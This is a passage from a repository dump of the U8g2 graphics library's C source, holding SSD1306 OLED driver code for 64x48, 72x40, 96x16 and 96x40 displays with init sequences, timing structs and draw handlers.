a0/a1*/ U8X8_C(0x0c0), /* c0: scan dir normal, c8: reverse */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static uint8_t u8x8_d_ssd1306_64x48_generic(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { uint8_t x, c; uint8_t *ptr; switch(msg) { /* handled by the calling function case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ssd1306_64x48_display_info); break; case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1306_64x48_er_init_seq); break; */ case U8X8_MSG_DISPLAY_SET_POWER_SAVE: if ( arg_int == 0 ) u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1306_64x48_powersave0_seq); else u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1306_64x48_powersave1_seq); break; case U8X8_MSG_DISPLAY_SET_FLIP_MODE: if ( arg_int == 0 ) { u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1306_64x48_flip0_seq); u8x8->x_offset = u8x8->display_info->default_x_offset; } else { u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1306_64x48_flip1_seq); u8x8->x_offset = u8x8->display_info->flipmode_x_offset; } break; #ifdef U8X8_WITH_SET_CONTRAST case U8X8_MSG_DISPLAY_SET_CONTRAST: u8x8_cad_StartTransfer(u8x8); u8x8_cad_SendCmd(u8x8, 0x081 ); u8x8_cad_SendArg(u8x8, arg_int ); /* ssd1306 has range from 0 to 255 */ u8x8_cad_EndTransfer(u8x8); break; #endif case U8X8_MSG_DISPLAY_DRAW_TILE: u8x8_cad_StartTransfer(u8x8); x = ((u8x8_tile_t *)arg_ptr)->x_pos; x *= 8; x += u8x8->x_offset; u8x8_cad_SendCmd(u8x8, 0x010 | (x>>4) ); u8x8_cad_SendCmd(u8x8, 0x000 | ((x&15))); u8x8_cad_SendCmd(u8x8, 0x0b0 | (((u8x8_tile_t *)arg_ptr)->y_pos)); do { c = ((u8x8_tile_t *)arg_ptr)->cnt; ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr; u8x8_cad_SendData(u8x8, c*8, ptr); /* note: SendData can not handle more than 255 bytes */ arg_int--; } while( arg_int > 0 ); u8x8_cad_EndTransfer(u8x8); break; default: return 0; } return 1; } static const u8x8_display_info_t u8x8_ssd1306_64x48_display_info = { /* chip_enable_level = */ 0, /* chip_disable_level = */ 1, /* post_chip_enable_wait_ns = */ 20, /* pre_chip_disable_wait_ns = */ 10, /* reset_pulse_width_ms = */ 100, /* SSD1306: 3 us */ /* post_reset_wait_ms = */ 100, /* far east OLEDs need much longer setup time */ /* sda_setup_time_ns = */ 50, /* SSD1306: 15ns, but cycle time is 100ns, so use 100/2 */ /* sck_pulse_width_ns = */ 50, /* SSD1306: 20ns, but cycle time is 100ns, so use 100/2, AVR: below 70: 8 MHz, >= 70 --> 4MHz clock */ /* sck_clock_hz = */ 8000000UL, /* since Arduino 1.6.0, the SPI bus speed in Hz. Should be 1000000000/sck_pulse_width_ns, increased to 8MHz (issue 215) */ /* spi_mode = */ 0, /* active high, rising edge */ /* i2c_bus_clock_100kHz = */ 4, /* data_setup_time_ns = */ 40, /* write_pulse_width_ns = */ 150, /* SSD1306: cycle time is 300ns, so use 300/2 = 150 */ /* tile_width = */ 8, /* tile_height = */ 6, /* default_x_offset = */ 32, /* flipmode_x_offset = */ 32, /* pixel_width = */ 64, /* pixel_height = */ 48 }; /* East Rising 0.66" OLED */ uint8_t u8x8_d_ssd1306_64x48_er(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { if ( msg == U8X8_MSG_DISPLAY_SETUP_MEMORY ) { u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ssd1306_64x48_display_info); return 1; } else if ( msg == U8X8_MSG_DISPLAY_INIT ) { u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1306_64x48_er_init_seq); return 1; } return u8x8_d_ssd1306_64x48_generic(u8x8, msg, arg_int, arg_ptr); } ================================================ FILE: Bibliotecas/U8g2/src/clib/u8x8_d_ssd1306_72x40.c ================================================ /* u8x8_d_ssd1306_72x40.c Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/) Copyright (c) 2019, olikraus@gmail.com All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "u8x8.h" /* EastRising 0.41 OLED https://www.buydisplay.com/default/white-0-42-inch-oled-display-panel-72x40-iic-i2c-serial-spi-ssd1306 command(0xae);//--turn off oled panel command(0xd5);//--set display clock divide ratio/oscillator frequency command(0x80);//--set divide ratio command(0xa8);//--set multiplex ratio command(0x27);//--1/40 duty command(0xd3);//-set display offset command(0x00);//-not offset command(0xad);//--Internal IREF Setting command(0x30);//-- command(0x8d);//--set Charge Pump enable/disable command(0x14);//--set(0x10) disable command(0x40);//--set start line address command(0xa6);//--set normal display command(0xa4);//Disable Entire Display On command(0xa1);//--set segment re-map 128 to 0 command(0xC8);//--Set COM Output Scan Direction 64 to 0 command(0xda);//--set com pins hardware configuration command(0x12); command(0x81);//--set contrast control register command(0xaf); command(0xd9);//--set pre-charge period command(0x22); command(0xdb);//--set vcomh command(0x20); command(0xaf);//--turn on oled panel */ static const uint8_t u8x8_d_ssd1306_72x40_er_init_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0ae), /* display off */ U8X8_CA(0x0d5, 0x080), /* clock divide ratio (0x00=1) and oscillator frequency (0x8) */ U8X8_CA(0x0a8, 0x027), /* multiplex ratio, 0.42 OLED: 0x27*/ U8X8_CA(0x0d3, 0x000), /* display offset, 0.42 OLED */ U8X8_CA(0x0ad, 0x030), /* Internal IREF Setting for the 0.42 OLED, see also issue https://github.com/olikraus/u8g2/issues/1047 */ U8X8_CA(0x08d, 0x014), /* [2] charge pump setting (p62): 0x014 enable, 0x010 disable, 0.66 OLED 0x14*/ U8X8_C(0x040), /* set display start line to 0, 0.66 OLED */ U8X8_C(0x0a6), /* none inverted normal display mode */ U8X8_C(0x0a4), /* output ram to display */ U8X8_CA(0x020, 0x000), /* horizontal addressing mode */ U8X8_C(0x0a1), /* segment remap a0/a1, 0.66 OLED */ U8X8_C(0x0c8), /* c0: scan dir normal, c8: reverse, 0.66 OLED */ // Flipmode // U8X8_C(0x0a0), /* segment remap a0/a1*/ // U8X8_C(0x0c0), /* c0: scan dir normal, c8: reverse */ U8X8_CA(0x0da, 0x012), /* com pin HW config, sequential com pin config (bit 4), disable left/right remap (bit 5), 0.66 OLED */ U8X8_CA(0x081, 0x0af), /* [2] set contrast control, 0.42 OLED */ U8X8_CA(0x0d9, 0x022), /* [2] pre-charge period 0x022/f1, 0.42 OLED datasheet: 0x22 */ U8X8_CA(0x0db, 0x020), /* vcomh deselect level, 0.42 OLED datasheet: 0x20 */ U8X8_C(0x02e), /* Deactivate scroll */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_ssd1306_72x40_powersave0_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0af), /* display on */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_ssd1306_72x40_powersave1_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0ae), /* display off */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_ssd1306_72x40_flip0_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0a1), /* segment remap a0/a1*/ U8X8_C(0x0c8), /* c0: scan dir normal, c8: reverse */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_ssd1306_72x40_flip1_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0a0), /* segment remap a0/a1*/ U8X8_C(0x0c0), /* c0: scan dir normal, c8: reverse */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static uint8_t u8x8_d_ssd1306_72x40_generic(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { uint8_t x, c; uint8_t *ptr; switch(msg) { /* handled by the calling function case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ssd1306_72x40_display_info); break; case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1306_72x40_er_init_seq); break; */ case U8X8_MSG_DISPLAY_SET_POWER_SAVE: if ( arg_int == 0 ) u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1306_72x40_powersave0_seq); else u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1306_72x40_powersave1_seq); break; case U8X8_MSG_DISPLAY_SET_FLIP_MODE: if ( arg_int == 0 ) { u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1306_72x40_flip0_seq); u8x8->x_offset = u8x8->display_info->default_x_offset; } else { u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1306_72x40_flip1_seq); u8x8->x_offset = u8x8->display_info->flipmode_x_offset; } break; #ifdef U8X8_WITH_SET_CONTRAST case U8X8_MSG_DISPLAY_SET_CONTRAST: u8x8_cad_StartTransfer(u8x8); u8x8_cad_SendCmd(u8x8, 0x081 ); u8x8_cad_SendArg(u8x8, arg_int ); /* ssd1306 has range from 0 to 255 */ u8x8_cad_EndTransfer(u8x8); break; #endif case U8X8_MSG_DISPLAY_DRAW_TILE: u8x8_cad_StartTransfer(u8x8); x = ((u8x8_tile_t *)arg_ptr)->x_pos; x *= 8; x += u8x8->x_offset; u8x8_cad_SendCmd(u8x8, 0x010 | (x>>4) ); u8x8_cad_SendCmd(u8x8, 0x000 | ((x&15))); u8x8_cad_SendCmd(u8x8, 0x0b0 | (((u8x8_tile_t *)arg_ptr)->y_pos)); do { c = ((u8x8_tile_t *)arg_ptr)->cnt; ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr; u8x8_cad_SendData(u8x8, c*8, ptr); /* note: SendData can not handle more than 255 bytes */ arg_int--; } while( arg_int > 0 ); u8x8_cad_EndTransfer(u8x8); break; default: return 0; } return 1; } static const u8x8_display_info_t u8x8_ssd1306_72x40_display_info = { /* chip_enable_level = */ 0, /* chip_disable_level = */ 1, /* post_chip_enable_wait_ns = */ 20, /* pre_chip_disable_wait_ns = */ 10, /* reset_pulse_width_ms = */ 100, /* SSD1306: 3 us */ /* post_reset_wait_ms = */ 100, /* far east OLEDs need much longer setup time */ /* sda_setup_time_ns = */ 50, /* SSD1306: 15ns, but cycle time is 100ns, so use 100/2 */ /* sck_pulse_width_ns = */ 50, /* SSD1306: 20ns, but cycle time is 100ns, so use 100/2, AVR: below 70: 8 MHz, >= 70 --> 4MHz clock */ /* sck_clock_hz = */ 8000000UL, /* since Arduino 1.6.0, the SPI bus speed in Hz. Should be 1000000000/sck_pulse_width_ns, increased to 8MHz (issue 215) */ /* spi_mode = */ 0, /* active high, rising edge */ /* i2c_bus_clock_100kHz = */ 4, /* data_setup_time_ns = */ 40, /* write_pulse_width_ns = */ 150, /* SSD1306: cycle time is 300ns, so use 300/2 = 150 */ /* tile_width = */ 9, /* tile_height = */ 5, /* default_x_offset = */ 28, /* flipmode_x_offset = */ 28, /* pixel_width = */ 72, /* pixel_height = */ 40 }; /* EastRising 0.41 OLED https://www.buydisplay.com/default/white-0-42-inch-oled-display-panel-72x40-iic-i2c-serial-spi-ssd1306 */ uint8_t u8x8_d_ssd1306_72x40_er(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { if ( msg == U8X8_MSG_DISPLAY_SETUP_MEMORY ) { u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ssd1306_72x40_display_info); return 1; } else if ( msg == U8X8_MSG_DISPLAY_INIT ) { u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1306_72x40_er_init_seq); return 1; } return u8x8_d_ssd1306_72x40_generic(u8x8, msg, arg_int, arg_ptr); } ================================================ FILE: Bibliotecas/U8g2/src/clib/u8x8_d_ssd1306_96x16.c ================================================ /* u8x8_d_ssd1306_96x16.c Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/) Copyright (c) 2016, olikraus@gmail.com All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "u8x8.h" /* EastRising 0.69 OLED */ static const uint8_t u8x8_d_ssd1306_96x16_er_init_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0ae), /* display off */ U8X8_CA(0x0d5, 0x080), /* clock divide ratio (0x00=1) and oscillator frequency (0x8) */ U8X8_CA(0x0a8, 0x00f), /* multiplex ratio, 0.69 OLED: 0x0f */ U8X8_CA(0x0d3, 0x000), /* display offset, 0.69 OLED */ U8X8_C(0x040), /* set display start line to 0, 0.69 OLED */ U8X8_CA(0x08d, 0x014), /* [2] charge pump setting (p62): 0x014 enable, 0x010 disable, 0.66 OLED 0x14*/ U8X8_CA(0x020, 0x000), /* horizontal addressing mode */ U8X8_C(0x0a1), /* segment remap a0/a1, 0.66 OLED */ U8X8_C(0x0c8), /* c0: scan dir normal, c8: reverse, 0.66 OLED */ // Flipmode // U8X8_C(0x0a0), /* segment remap a0/a1*/ // U8X8_C(0x0c0), /* c0: scan dir normal, c8: reverse */ U8X8_CA(0x0da, 0x002), /* com pin HW config, sequential com pin config (bit 4), disable left/right remap (bit 5), 0.66 OLED */ U8X8_CA(0x081, 0x0af), /* [2] set contrast control, 0.69 OLED datasheet: 0xaf */ U8X8_CA(0x0d9, 0x0f1), /* [2] pre-charge period 0x0f1, 0.69 OLED datasheet: 0xf1 */ U8X8_CA(0x0db, 0x020), /* vcomh deselect level, 0.69 OLED datasheet: 0x20 */ U8X8_C(0x02e), /* Deactivate scroll */ U8X8_C(0x0a4), /* output ram to display */ U8X8_C(0x0a6), /* none inverted normal display mode */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_ssd1306_96x16_powersave0_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0af), /* display on */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_ssd1306_96x16_powersave1_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0ae), /* display off */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_ssd1306_96x16_flip0_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0a1), /* segment remap a0/a1*/ U8X8_C(0x0c8), /* c0: scan dir normal, c8: reverse */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_ssd1306_96x16_flip1_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0a0), /* segment remap a0/a1*/ U8X8_C(0x0c0), /* c0: scan dir normal, c8: reverse */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static uint8_t u8x8_d_ssd1306_96x16_generic(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { uint8_t x, c; uint8_t *ptr; switch(msg) { /* handled by the calling function case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ssd1306_96x16_display_info); break; case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1306_96x16_er_init_seq); break; */ case U8X8_MSG_DISPLAY_SET_POWER_SAVE: if ( arg_int == 0 ) u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1306_96x16_powersave0_seq); else u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1306_96x16_powersave1_seq); break; case U8X8_MSG_DISPLAY_SET_FLIP_MODE: if ( arg_int == 0 ) { u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1306_96x16_flip0_seq); u8x8->x_offset = u8x8->display_info->default_x_offset; } else { u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1306_96x16_flip1_seq); u8x8->x_offset = u8x8->display_info->flipmode_x_offset; } break; #ifdef U8X8_WITH_SET_CONTRAST case U8X8_MSG_DISPLAY_SET_CONTRAST: u8x8_cad_StartTransfer(u8x8); u8x8_cad_SendCmd(u8x8, 0x081 ); u8x8_cad_SendArg(u8x8, arg_int ); /* ssd1306 has range from 0 to 255 */ u8x8_cad_EndTransfer(u8x8); break; #endif case U8X8_MSG_DISPLAY_DRAW_TILE: u8x8_cad_StartTransfer(u8x8); x = ((u8x8_tile_t *)arg_ptr)->x_pos; x *= 8; x += u8x8->x_offset; u8x8_cad_SendCmd(u8x8, 0x010 | (x>>4) ); u8x8_cad_SendCmd(u8x8, 0x000 | ((x&15))); u8x8_cad_SendCmd(u8x8, 0x0b0 | (((u8x8_tile_t *)arg_ptr)->y_pos)); do { c = ((u8x8_tile_t *)arg_ptr)->cnt; ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr; u8x8_cad_SendData(u8x8, c*8, ptr); /* note: SendData can not handle more than 255 bytes */ arg_int--; } while( arg_int > 0 ); u8x8_cad_EndTransfer(u8x8); break; default: return 0; } return 1; } static const u8x8_display_info_t u8x8_ssd1306_96x16_display_info = { /* chip_enable_level = */ 0, /* chip_disable_level = */ 1, /* post_chip_enable_wait_ns = */ 20, /* pre_chip_disable_wait_ns = */ 10, /* reset_pulse_width_ms = */ 100, /* SSD1306: 3 us */ /* post_reset_wait_ms = */ 100, /* OLEDs need much longer setup time */ /* sda_setup_time_ns = */ 50, /* SSD1306: 15ns, but cycle time is 100ns, so use 100/2 */ /* sck_pulse_width_ns = */ 50, /* SSD1306: 20ns, but cycle time is 100ns, so use 100/2, AVR: below 70: 8 MHz, >= 70 --> 4MHz clock */ /* sck_clock_hz = */ 8000000UL, /* since Arduino 1.6.0, the SPI bus speed in Hz. Should be 1000000000/sck_pulse_width_ns, increased to 8MHz (issue 215) */ /* spi_mode = */ 0, /* active high, rising edge */ /* i2c_bus_clock_100kHz = */ 4, /* data_setup_time_ns = */ 40, /* write_pulse_width_ns = */ 150, /* SSD1306: cycle time is 300ns, so use 300/2 = 150 */ /* tile_width = */ 12, /* tile_height = */ 2, /* default_x_offset = */ 0, /* flipmode_x_offset = */ 32, /* pixel_width = */ 96, /* pixel_height = */ 16 }; /* East Rising 0.69" OLED */ uint8_t u8x8_d_ssd1306_96x16_er(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { if ( msg == U8X8_MSG_DISPLAY_SETUP_MEMORY ) { u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ssd1306_96x16_display_info); return 1; } else if ( msg == U8X8_MSG_DISPLAY_INIT ) { u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1306_96x16_er_init_seq); return 1; } return u8x8_d_ssd1306_96x16_generic(u8x8, msg, arg_int, arg_ptr); } ================================================ FILE: Bibliotecas/U8g2/src/clib/u8x8_d_ssd1306_96x40.c ================================================ /* u8x8_d_ssd1306_96x40.c Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/) Copyright (c) 2016, olikraus@gmail.com All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. takeover from 96x16 OLED 21 Sep 2022: Also added the 96x39 variant here.... */ #include "u8x8.h" static const uint8_t u8x8_d_ssd1306_96x40_powersave0_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0af), /* display on */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_ssd1306_96x40_powersave1_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0ae), /* display off */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_ssd1306_96x40_flip0_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0a1), /* segment remap a0/a1*/ U8X8_C(0x0c8), /* c0: scan dir normal, c8: reverse */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_ssd1306_96x40_flip1_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0a0), /* segment remap a0/a1*/ U8X8_C(0x0c0), /* c0: scan dir normal, c8: reverse */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static uint8_t u8x8_d_ssd1306_96x40_generic(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { uint8_t x, c; uint8_t *ptr; switch(msg) { /* handled by the calling function case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ssd1306_96x40_display_info); break; case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1306_96x40_er_init_seq); break; */ case U8X8_MSG_DISPLAY_SET_POWER_SAVE: if ( arg_int == 0 ) u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1306_96x40_powersave0_seq); else u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1306_96x40_powersave1_seq); break; case U8X8_MSG_DISPLAY_SET_FLIP_MODE: if ( arg_int == 0 ) { u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1306_96x40_flip0_seq); u8x8->x_offset = u8x8->display_info->default_x_offset; } else { u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1306_96x40_flip1_seq); u8x8->x_offset = u8x8->display_info->flipmode_x_offset; } break; #ifdef U8X8_WITH_SET_CONTRAST case U8X8_MSG_DISPLAY_SET_CONTRAST: u8x8_cad_StartTransfer(u8x8); u8x8_cad_SendCmd(u8x8, 0x081 ); u8x8_cad_SendArg(u8x8, arg_int ); /* ssd1306 has range from 0 to 255 */ u8x8_cad_EndTransfer(u8x8); break; #endif case U8X8_MSG_DISPLAY_DRAW_TILE: u8x8_cad_StartTransfer(u8x8); x = ((u8x8_tile_t *)arg_ptr)->x_pos; x *= 8; x += u8x8->x_offset; u8x8_cad_SendCmd(u8x8, 0x010 | (x>>4) ); u8x8_cad_SendCmd(u8x8, 0x000 | ((x&15))); u8x8_cad_SendCmd(u8x8, 0x0b0 | (((u8x8_tile_t *)arg_ptr)->y_pos)); do { c = ((u8x8_tile_t *)arg_ptr)->cnt; ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr; u8x8_cad_SendData(u8x8, c*8, ptr); /* note: SendData can not handle more than 255 bytes */ arg_int--; } while( arg_int > 0 ); u8x8_cad_EndTransfer(u8x8); break; default: return 0; } return 1; } /*===============================================*/ /* https://github.com/olikraus/u8g2/issues/1812 */ static const uint8_t u8x8_d_ssd1306_96x40_init_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0ae), /* display off */ U8X8_CA(0x0d5, 0x080), /* clock divide ratio (0x00=1) and oscillator frequency (0x8) */ U8X8_CA(0x0a8, 0x027), /* multiplex ratio */ U8X8_CA(0x0d3, 0x000), /* display offset */ U8X8_C(0x040), /* set display start line to 0 */ U8X8_CA(0x08d, 0x014), /* [2] charge pump setting (p62): 0x014 enable, 0x010 disable, 0.66 OLED 0x14*/ U8X8_CA(0x020, 0x000), /* horizontal addressing mode */ U8X8_C(0x0a1), /* segment remap a0/a1, 0.66 OLED */ U8X8_C(0x0c8), /* c0: scan dir normal, c8: reverse, 0.66 OLED */ // Flipmode // U8X8_C(0x0a0), /* segment remap a0/a1*/ // U8X8_C(0x0c0), /* c0: scan dir normal, c8: reverse */ U8X8_CA(0x0da, 0x002), /* com pin HW config, sequential com pin config (bit 4), disable left/right remap (bit 5), 0.66 OLED */ U8X8_CA(0x081, 0x0af), /* [2] set contrast control */ U8X8_CA(0x0d9, 0x0f1), /* [2] pre-charge period 0x0f1 */ U8X8_CA(0x0db, 0x020), /* vcomh deselect level */ U8X8_C(0x02e), /* Deactivate scroll */ U8X8_C(0x0a4), /* output ram to display */ U8X8_C(0x0a6), /* none inverted normal display mode */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const u8x8_display_info_t u8x8_ssd1306_96x40_display_info = { /* chip_enable_level = */ 0, /* chip_disable_level = */ 1, /* post_chip_enable_wait_ns = */ 20, /* pre_chip_disable_wait_ns = */ 10, /* reset_pulse_width_ms = */ 100, /* SSD1306: 3 us */ /* post_reset_wait_ms = */ 100, /* OLEDs need much longer setup time */ /* sda_setup_time_ns = */ 50, /* SSD1306: 15ns, but cycle time is 100ns, so use 100/2 */ /* sck_pulse_width_ns = */ 50, /* SSD1306: 20ns, but cycle time is 100ns, so use 100/2, AVR: below 70: 8 MHz, >= 70 --> 4MHz clock */ /* sck_clock_hz = */ 8000000UL, /* since Arduino 1.6.0, the SPI bus speed in Hz. Should be 1000000000/sck_pulse_width_ns, increased to 8MHz (issue 215) */ /* spi_mode = */ 0, /* active high, rising edge */ /* i2c_bus_clock_100kHz = */ 4, /* data_setup_time_ns = */ 40, /* write_pulse_width_ns = */ 150, /* SSD1306: cycle time is 300ns, so use 300/2 = 150 */ /* tile_width = */ 12, /* tile_height = */ 5, /* default_x_offset = */ 0, /* flipmode_x_offset = */ 32, /* pixel_width = */ 96, /* pixel_height = */ 40 }; uint8_t u8x8_d_ssd1306_96x40(u8x8_t *u8x8, 